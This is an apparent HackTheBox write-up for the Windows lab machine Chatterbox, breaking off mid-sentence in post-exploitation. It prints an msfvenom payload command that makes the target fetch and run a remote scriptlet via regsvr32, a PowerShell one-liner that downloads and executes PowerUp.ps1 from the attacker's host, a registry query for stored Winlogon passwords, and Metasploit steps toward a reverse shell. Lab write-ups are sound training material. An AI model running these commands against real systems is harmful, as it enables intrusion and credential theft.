WriteUp

In this post we will resolve the machine Chatterbox from HackTheBox.
It is a simple but entertaining Windows machine.

My nick in HackTheBox is: manulqwerty
If you have any proposal or correction do not hesitate to leave a comment.

Enumeration

As always, the first thing will be a port scan with Nmap:

We are looking for exploits on the only service found: AChat.

It’s Remote Buffer Overflow

Exploitation

We will create our payload with msfvenom, as indicated in exploit-db
We will use the module of Metasploit:

exploit/multi/script/web_delivery

which will generate a command that when executed will return shell:

msfvenom -a x86 --platform Windows -p windows/exec CMD='regsvr32 /s /n /u /i:http://10.10.14.10/s5hBEnl.sct scrobj.dll' -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Now, we paste the result of this command in the file 36025.py and execute it:

Upgrade to Meterpreter:

sessions -u 1

Post-Exploitation

We’ll execute PowerUp.ps1 where we can see the WinLogon reg:

powershell.exe IEX (New-Object System.Net.Webclient).DownloadString(‘http://10.10.14.10/PowerUp.ps1’);Invoke-AllChecks

We can also see it manually:

reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” 2>nul | findstr “DefaultUserName DefaultDomainName DefaultPassword”

Let’s try to use these credentials with the MSF module: exploit/windows/smb/psexec, the machine does not have the port 445 open so we will use portfwd of Meterpreter:

As you can see, it seems that the credentials are correct but we don’t get shell. Before testing the psexec of Impacket, we will use the module: post/windows/manage/run_as; with powercat we’ll execute a reverse shell: